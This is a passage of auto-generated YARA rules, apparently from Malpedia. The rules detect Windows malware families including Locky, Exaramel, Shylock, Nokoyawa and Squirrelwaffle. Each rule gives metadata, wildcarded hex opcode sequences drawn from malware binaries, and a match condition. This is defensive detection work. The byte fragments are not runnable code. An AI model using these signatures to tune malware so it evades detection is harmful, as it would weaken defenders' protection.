		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.felismus_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "fddb824340564e372ed310ad021f3b3ac8af1c9316519efd06d812e4eb93bb2c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4514 8b35???????? 50 ff15???????? e9???????? 6804010000 e8???????? }
		$sequence_1 = { 03c3 5f 894d04 895508 89450c 5e 5d }
		$sequence_2 = { 53 56 57 6804010000 e8???????? 8b7c241c 8bd8 }
		$sequence_3 = { 83c640 83c740 3bf5 7ce6 8b4c2418 33c0 eb02 }
		$sequence_4 = { 8d842430010000 50 33f6 ffd7 85c0 7e26 8a843430010000 }
		$sequence_5 = { 8a46ff 83e03f 41 4f 8a907c520110 8851ff }
		$sequence_6 = { 55 8b2d???????? 56 57 6804010000 ffd5 8bf0 }
		$sequence_7 = { 56 ffd7 8d4c241c 6a00 51 6a02 }
		$sequence_8 = { 740a 3818 7406 ff15???????? b8???????? c3 }
		$sequence_9 = { 8bd8 b93f000000 33c0 8bfb f3ab 66ab 83c404 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Lcpdot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a81ecd6b-bd4a-5150-b889-dde71e2987e1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lcpdot_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "d5b8eea547f6e9190b9bc0d0e04ea03ad2b12f2bfb6cbcdecca904cccb5849ef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? c705????????01000000 e8???????? 83f801 }
		$sequence_1 = { 418bdc 4c89642438 4489642430 488d442430 }
		$sequence_2 = { 8bf1 889d14fcffff e8???????? 8d4620 83c40c 8d5002 }
		$sequence_3 = { c78560fbffff4b4c6763 c78564fbffff66975c5f c78568fbffff8d676a9b c7856cfbffff5254774f c78570fbffff51724647 c78574fbffff5d9293ab }
		$sequence_4 = { 742b 488d153c300100 eb15 48ffc9 741d 448b4338 }
		$sequence_5 = { 52 ff15???????? 8b85f0efffff 8b8de8efffff 8b5604 6a00 6a00 }
		$sequence_6 = { e8???????? 85c0 745f 8b8db4fbffff 85c9 7e23 8b85b8fbffff }
		$sequence_7 = { ff15???????? 85c0 7468 33d2 68fe010000 }
		$sequence_8 = { 741e 448b4638 4585c0 7415 488d1537380100 488d8c2440020000 }
		$sequence_9 = { 8b542460 41bb00020000 4c8d0dc990ffff 458a20 4584e4 }
		$sequence_10 = { 8975c8 c745dc38634100 ff15???????? 6a00 56 }
		$sequence_11 = { e9???????? 488bd3 b940000000 4889ac24a8080000 }
		$sequence_12 = { c74594c17e92d8 c74598a0b6d79f c7459cb6e6b8cb c745a0e5b6cad0 c745a4d0def5f5 c745a8faf2f2f7 }
		$sequence_13 = { 468d2cb500000000 41f7ed 448bda 41c1fb05 }
		$sequence_14 = { 52 8d041f 50 e8???????? 8b861c080000 83c418 03c7 }
	condition:
		7 of them and filesize < 257024
}

rule MALPEDIA_Win_Exaramel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9d8ef319-a5df-534f-b138-19485cbaf19b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.exaramel_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "0034b5ba03392faf6ba4ea9ba70e440d6025311290e39d869c6ea3fe5bf2d84b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7539 a3???????? c705????????01000000 ff15???????? 8b35???????? 68???????? }
		$sequence_1 = { be05400080 e9???????? 8d8528f8ffff 57 50 }
		$sequence_2 = { ff15???????? 85c0 746d 53 57 ff75fc 8b3d???????? }
		$sequence_3 = { 8b1d???????? 660f1f440000 8b0d???????? 8d85e4fbffff 6aff 6a00 }
		$sequence_4 = { 742b 8b01 8d55f8 52 51 8b4068 ffd0 }
		$sequence_5 = { e8???????? c70021000000 e9???????? 894ddc c745e068a54100 e9???????? c745e064a54100 }
		$sequence_6 = { c1f806 6bc930 8b048560dd4100 f644082801 7406 8b440818 5d }
		$sequence_7 = { 744e 85f6 7504 33c0 eb18 56 6a00 }
		$sequence_8 = { 57 e8???????? 8bf0 83c428 85f6 0f881c010000 }
		$sequence_9 = { 33c0 668945e8 8b45d4 886de5 8b148560dd4100 }
	condition:
		7 of them and filesize < 294912
}

rule MALPEDIA_Win_Locky_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9434ac8a-f19d-5097-9718-4e0bcd7c3bb7"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_auto.yar#L1-L181"
		license_url = "N/A"
		logic_hash = "cfd0780ce81a27b30c6ff7ba29e871c926663b6bd8e9b266836319c43aec3bb1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 51 8b00 6a00 8d4d0c 51 ff750c }
		$sequence_1 = { 760a 68???????? e8???????? a1???????? 2b05???????? 6a1c }
		$sequence_2 = { 50 c745f8???????? e8???????? 8d85f0fdffff 50 }
		$sequence_3 = { 99 83e207 8d3c02 33d2 42 c1ff03 663bca }
		$sequence_4 = { 99 5e f7fe 8bf0 81fe48922409 760a 68???????? }
		$sequence_5 = { 6a00 ff15???????? 85c0 751e ff15???????? c745f8???????? }
		$sequence_6 = { 8907 8bc7 c9 c20400 ff15???????? 8945fc }
		$sequence_7 = { 7314 8b4e1c 8b431c 3bc8 7c0a }
		$sequence_8 = { 5b c21000 e9???????? 8bff 55 8bec 56 }
		$sequence_9 = { 03d8 8b442408 f7e1 03d3 5b c21000 e9???????? }
		$sequence_10 = { 66ab e9???????? 8d12 e9???????? }
		$sequence_11 = { ebcf 90 8d36 90 }
		$sequence_12 = { 5e c21000 8bff 55 8bec 33c0 8b4d08 }
		$sequence_13 = { 6a61 e9???????? 90 58 }
		$sequence_14 = { 6a63 e9???????? 90 8d36 }
		$sequence_15 = { 66ab e9???????? 58 90 e9???????? 90 }
		$sequence_16 = { 66ab 90 e9???????? 8d00 }
	condition:
		7 of them and filesize < 1122304
}

rule MALPEDIA_Win_Yarat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c5e6c743-0bb4-5ded-85f6-7e273a746dba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yarat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "9bcd9db0a35387b5ff289ffde342821469357bc27585eec725313cf57fac8b79"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b07 51 03f0 52 56 e8???????? 8b8564feffff }
		$sequence_1 = { 8b7d08 33f6 33db 85ff 7439 8bf7 8d4e01 }
		$sequence_2 = { c1ca03 663bf5 84eb 81f21b6f5a16 f7da f5 81fede018b2e }
		$sequence_3 = { 8b3f 85ff 75d7 837c241c00 8b3d???????? 754f 6804010000 }
		$sequence_4 = { f5 81c702000000 6685f1 0fadc2 f6d0 0f42c5 0fc8 }
		$sequence_5 = { b90a000000 5f 5e 89889c0a0000 8bc3 5b 8be5 }
		$sequence_6 = { e8???????? 83c408 eb02 33c0 898388050000 80be3e10000000 8945f8 }
		$sequence_7 = { 8bec 8b4d08 85c9 7413 8b8148050000 8b4024 85c0 }
		$sequence_8 = { e8???????? 8bc6 83c418 0b45e8 0f858d000000 eb78 6a02 }
		$sequence_9 = { 869d56f9247d 9e 2490 7f7c ec 96 ac }
	condition:
		7 of them and filesize < 8692736
}

rule MALPEDIA_Win_Ismdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "540e8392-0220-5703-98ef-e8f75cf1cca1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ismdoor_auto.yar#L1-L153"
		license_url = "N/A"
		logic_hash = "0347b8b3605f80aa046ee397578be54423bd20b2d0f0c466e85204c8c4819aa8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f8ff 7504 32c0 eb05 c0e804 2401 84c0 }
		$sequence_1 = { 488bd6 488bcb ff5048 4885c0 750e }
		$sequence_2 = { 7419 488d4dc0 e8???????? 483bd8 7405 }
		$sequence_3 = { 448bc3 4963c0 4585c0 7514 }
		$sequence_4 = { 90 c685200100006b 4c89bd38010000 4c89bd40010000 48c7854001000007000000 }
		$sequence_5 = { 488d4c2448 e8???????? 90 4c8d45f0 488bd0 }
		$sequence_6 = { 488b45b8 48898310020000 48898318020000 48898320020000 }
		$sequence_7 = { e9???????? 4532ed 488d8db0010000 e8???????? }
		$sequence_8 = { eb02 33c0 8bbdccfbffff 6bc009 0fb6bc38107a4700 8bc7 }
		$sequence_9 = { e8???????? 83f8ff 7e3c ff75ec }
		$sequence_10 = { 52 50 e8???????? 68e8030000 ffd6 }
		$sequence_11 = { c645fc3f e9???????? 6a00 68???????? }
		$sequence_12 = { c785f0fdffff00000000 50 6a00 6a00 6a1d 8bf1 }
		$sequence_13 = { 46 83fe10 7cdb ff75d0 8d55e8 }
		$sequence_14 = { 8bc8 eb0c 0fb6c0 0fbe8040714800 03c8 }
	condition:
		7 of them and filesize < 1933312
}

rule MALPEDIA_Win_Taleret_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "09104a61-10e4-51be-8fcd-72ca4b899ef9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taleret_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "4f3dbb090232b14fe9d8fb1c04016f4bef98cd25096fea3fc24c423d5e08c994"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89442430 8bf8 8bc1 8bf5 55 c1e902 f3a5 }
		$sequence_1 = { 85c0 741b 8b4c241c 51 ffd3 8b542410 }
		$sequence_2 = { 51 68???????? 52 e8???????? 50 8d4c2414 c644243802 }
		$sequence_3 = { 8d4c242c c78424a8030000ffffffff e8???????? 56 e8???????? 83c404 8b7c2410 }
		$sequence_4 = { 85ff 896c2420 7e2a 8b4c2440 8d442420 }
		$sequence_5 = { 85c0 0f84a6000000 50 51 }
		$sequence_6 = { 50 e8???????? 8d8eb0010000 8d542434 51 68???????? 52 }
		$sequence_7 = { 51 ffd6 85c0 7536 ff15???????? 83f87a }
		$sequence_8 = { ff15???????? 8bd8 3bde 895c2420 750d 5f }
		$sequence_9 = { 8b4c2424 c644310100 8d4c2430 e8???????? 50 }
	condition:
		7 of them and filesize < 73728
}

rule MALPEDIA_Win_Shylock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "27b4846a-398c-5add-a760-ff7339bbdf8b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shylock_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "742cfb0b5b4c0d8c9d0f24db70f112e2bfd101bfeb4b4efca74ae8b027c1a20b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? eb75 8d75d0 e8???????? 8d75a4 e8???????? 8d75c4 }
		$sequence_1 = { c20800 55 8bec 83ec1c 56 8d45ec 57 }
		$sequence_2 = { ff75e0 e8???????? 83c410 33c0 eb0c b857000780 eb05 }
		$sequence_3 = { ff75b8 53 e8???????? 83c420 85c0 7439 3975fc }
		$sequence_4 = { e8???????? 59 85c0 751a e8???????? 3db7000000 740e }
		$sequence_5 = { e8???????? 59 50 ff750c ff7508 e8???????? 8d751c }
		$sequence_6 = { ff75f8 e8???????? 8d45f0 50 8bc6 8b7508 50 }
		$sequence_7 = { 8d75fc e8???????? 6a00 68???????? 8d5d0c e8???????? 6a00 }
		$sequence_8 = { eb06 8b4d20 8d3488 e8???????? 8b75f0 8d7ddc e8???????? }
		$sequence_9 = { ff75f0 e8???????? 8b5d0c 8d45d0 50 e8???????? 8bd8 }
	condition:
		7 of them and filesize < 630784
}

rule MALPEDIA_Win_Nokoyawa_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5fa67854-5271-511e-bc7c-fd346224ae86"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokoyawa_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "d0e099f2b3c7d0be14ed25c33931a83caac7b50df6157dc4628f695a1c582f8e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88040a 8b442420 83c010 4898 8b4c2420 83c12c 4863c9 }
		$sequence_1 = { e8???????? 488905???????? c744243000000000 eb0a 8b442430 ffc0 89442430 }
		$sequence_2 = { 89448c30 4863442420 8b4c2420 c1e102 }
		$sequence_3 = { c1e01e 8b4c2408 c1e902 0bc1 89442408 33c0 85c0 }
		$sequence_4 = { 33d2 488b442430 488b4850 e8???????? }
		$sequence_5 = { 8bca 8b942438010000 03d1 8bca 8d84089979825a 8b4c2410 }
		$sequence_6 = { 85c0 7411 488b542468 488b4c2460 e8???????? eb0a 488b4c2460 }
		$sequence_7 = { 486bc000 488b4c2440 8b542420 39540114 7326 b804000000 486bc001 }
		$sequence_8 = { e8???????? 85c0 742a 4c8b8c24c8000000 4c8b8424c0000000 488b9424b8000000 }
		$sequence_9 = { c644242b61 c644242c6e c644242d64 c644242e20 c644242f31 c644243036 c64424312d }
	condition:
		7 of them and filesize < 92160
}

rule MALPEDIA_Win_Nachocheese_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0d1d5a3a-67ce-5c34-82de-43ee9a1b9d3b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nachocheese_auto.yar#L1-L158"
		license_url = "N/A"
		logic_hash = "cb72c9411818be36907dbdd85a36216d8cf0f5bc33a5604f0609af1c56f21889"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2bfa 8d47fd 3901 8901 }
		$sequence_1 = { 3d2cc00000 7f18 3d2bc00000 7d1b }
		$sequence_2 = { 33c4 89842498210000 833d????????02 53 56 }
		$sequence_3 = { 3d9c000000 7c07 3d9f000000 7e0d }
		$sequence_4 = { 8b5f18 85f6 7504 33c0 eb1e }
		$sequence_5 = { 83c404 8975fc 8d4900 e8???????? 8bf0 85f6 }
		$sequence_6 = { 8d4813 894dec 8955fc 53 }
		$sequence_7 = { 3d2bc00000 7d1b 3d9c000000 7c07 }
		$sequence_8 = { 81fb80000000 7305 83c302 eb29 81fb00010000 7305 }
		$sequence_9 = { 5b 8be5 5d c20400 8d4508 50 681d002000 }
		$sequence_10 = { 33c8 894710 8b4708 33c1 }
		$sequence_11 = { 33c0 c3 05d13fffff 83f801 }
		$sequence_12 = { 83ec0c 53 56 57 33f6 6a03 }
		$sequence_13 = { 8b4508 8d55a8 52 33c9 50 }
		$sequence_14 = { 52 89bddcf9ffff e8???????? 83c404 }
		$sequence_15 = { 3d9f000000 7e0d 33c0 c3 }
	condition:
		7 of them and filesize < 1064960
}

rule MALPEDIA_Win_Shadowhammer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "297b3240-9669-5c2f-9f70-bac21eea5e4b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowhammer_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "910985146f49579376d7edf79ed10031d031e34957a06d7ed180548cab7651ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 57 33f6 bfa8a24000 833cf55490400001 751d 8d04f550904000 }
		$sequence_1 = { 6a69 668945ae 58 6a49 59 6a44 }
		$sequence_2 = { 897e70 c686c800000043 c6864b01000043 c7466818934000 6a0d }
		$sequence_3 = { 5f c3 56 8b35???????? 68287c4000 57 ffd6 }
		$sequence_4 = { c3 55 8bec 81ec4c030000 c785e4fcffff00b006c7 c785e8fcffffdab6ace6 c785ecfcffffc25c3799 }
		$sequence_5 = { 3d40984000 741b 3998b4000000 7513 50 e8???????? }
		$sequence_6 = { ff45fc 8b45fc 3b45f4 7cb7 ebae 8b45f0 ebab }
		$sequence_7 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466818934000 }
		$sequence_8 = { 817de00c714000 7311 8b45e0 8b00 85c0 7402 ffd0 }
		$sequence_9 = { 8b401c 8b08 3bc8 7439 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Tor_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3efe54eb-a7c6-56b3-9bd1-ec8766a85b3b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tor_loader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "9c749aa4d74905eff81845b43499929e58555479c62182eca79940824f3864ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 90 eb25 4839c8 0f831a030000 4c8d5001 4c39d1 0f8602030000 }
		$sequence_1 = { bf03000000 488d358e732800 e8???????? 0fb6542447 488b7c2460 4c8b442458 4889c6 }
		$sequence_2 = { eb0f 488b442438 c6808800000001 4889c7 ba01000000 e9???????? 81fa2251f4eb }
		$sequence_3 = { 7659 488b842428010000 488b9c2430010000 488b9424f0000000 488b0a 488b7a08 488b7210 }
		$sequence_4 = { eb29 4889d3 4889c1 4889f0 e8???????? 488b542448 488bb424d0000000 }
		$sequence_5 = { ebd4 833d????????00 750d 48c705????????00000000 eb0e 488d3dfc515b00 31c9 }
		$sequence_6 = { eb23 488d056b4d6100 31db 488b6c2410 4883c418 c3 0fb75052 }
		$sequence_7 = { eb09 4889c7 90 e8???????? 488d0554112200 488b5c2428 488d0d86392700 }
		$sequence_8 = { 48c7400813000000 488d0deaf90a00 488908 488b4c2410 48894810 4889c3 488d05ad3e0500 }
		$sequence_9 = { bf04000000 e8???????? 6690 4883fb01 7509 80382d 7504 }
	condition:
		7 of them and filesize < 13050880
}

rule MALPEDIA_Win_Sendsafe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14b9e6b6-2043-58da-b1e8-265e07b21f6c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sendsafe_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "1cc8bf83d06a8d8be9a015120fbe9f24392bb542d1a6aed7e6e2573904d5eeb5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5508 52 8d45bc 50 e8???????? 83c40c 8d4dbc }
		$sequence_1 = { eb07 c745dc00000000 0fb645dc 85c0 0f842f010000 8b4dfc 83c110 }
		$sequence_2 = { ffd2 83c408 e9???????? 8b4508 8b08 c741146d000000 8b5508 }
		$sequence_3 = { b904000000 6bd10e 8b4dfc 33441110 3345f4 8945f4 8b55f4 }
		$sequence_4 = { 8b952cfdffff 837a1410 721c 8b8564fcffff 898524fdffff 8b8d2cfdffff 8b11 }
		$sequence_5 = { e8???????? 83c414 85c0 0f84e1010000 ff7518 8d4704 57 }
		$sequence_6 = { e8???????? 83c408 8b4dfc 89411c 8b5508 8b8214010000 c1e003 }
		$sequence_7 = { e9???????? e8???????? 8bd0 89542434 85d2 7511 684f060000 }
		$sequence_8 = { eb1e 8b55f4 833a00 7406 c645fe01 eb04 c645fe00 }
		$sequence_9 = { ff15???????? 8d5508 52 8b4dfc 83c104 e8???????? 8945f8 }
	condition:
		7 of them and filesize < 3743744
}

rule MALPEDIA_Win_Ngioweb_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c36bfdd-8dfc-5ce2-bea9-f354084a9adc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ngioweb_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "63470bb29a6555e27026baafc523ffac609f0c101ccb6a3d82cc98debb8823c5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bfb 763d 33c0 395d14 8d747efe 0f95c0 894508 }
		$sequence_1 = { 7569 8b4510 2b45cc 6a16 6a05 50 ff750c }
		$sequence_2 = { 03c0 50 56 e8???????? 57 56 8945e8 }
		$sequence_3 = { 8b442404 85c0 7408 8b809c000000 eb02 33c0 c20400 }
		$sequence_4 = { 50 6a10 8d4604 50 e8???????? eb46 80fa03 }
		$sequence_5 = { 51 ffd0 8b5f14 68159fa331 56 e8???????? 53 }
		$sequence_6 = { ff742408 e8???????? 6a00 56 e8???????? 33c0 5e }
		$sequence_7 = { ff7508 e8???????? 85c0 7531 ff7508 e8???????? 6a00 }
		$sequence_8 = { 66c745f86900 66c745f67600 66c745f46700 66c745f26200 66c745f06400 668975ee 66c745ec4700 }
		$sequence_9 = { 395d0c 750d 8b85d8fdffff 85c0 8945fc 7519 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "870824b4-58bb-571d-92bf-60311c954be1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.squirrelwaffle_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "ca7cf3c3a665a3fb39ef07c14cbbf782e38d67a5236157091e835f3cda65f067"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f44ca 51 e8???????? 8b8690010000 47 }
		$sequence_1 = { c645fc03 8d55cc 837de010 8b4b10 }
		$sequence_2 = { 83c408 68???????? 6a14 6a18 }
		$sequence_3 = { 40 84c9 75f9 2bc7 8d4db8 50 }
